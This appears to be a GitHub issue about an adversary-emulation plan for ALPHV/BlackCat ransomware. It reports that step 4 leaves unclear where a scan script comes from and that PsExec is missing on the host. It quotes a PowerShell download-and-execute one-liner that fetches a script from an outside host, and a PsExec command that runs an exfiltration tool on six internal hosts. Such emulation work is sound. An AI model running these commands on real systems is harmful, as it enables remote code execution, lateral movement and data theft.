[alphv_blackcat] Issues in step 4

[arty-hlr]

Hi,

When going through step 4 of AlphvBlackcat, I noticed these issues:

Empire-port-scan.ps1 unclear

In step 4 a network scanning script is mentioned:

Invoke-Expression(Invoke-WebRequest 'http://the-inator.com/digirevenge/Empire-port-scan.ps1' -UseBasicParsing)

but it is not clear where it comes from. Do you mean maybe the original Invoke-Portscan.ps1 script from PowerSploit?

PsExec not available

Later PsExec is used to execute ExMatter on 6 hosts from a powershell shell as ykaida.da:

psexec -c -accepteula \\10.20.20.22,10.20.20.33,10.20.10.4,10.20.10.23,10.20.10.122,10.20.10.200 C:\Users\zorimoto\AppData\Local\Temp\collector1.exe

Unfortunately PsExec doesn't exist by default on the computer and should be uploaded before. In Oilrig step 8 for example, it is uploaded through the webshell before being used.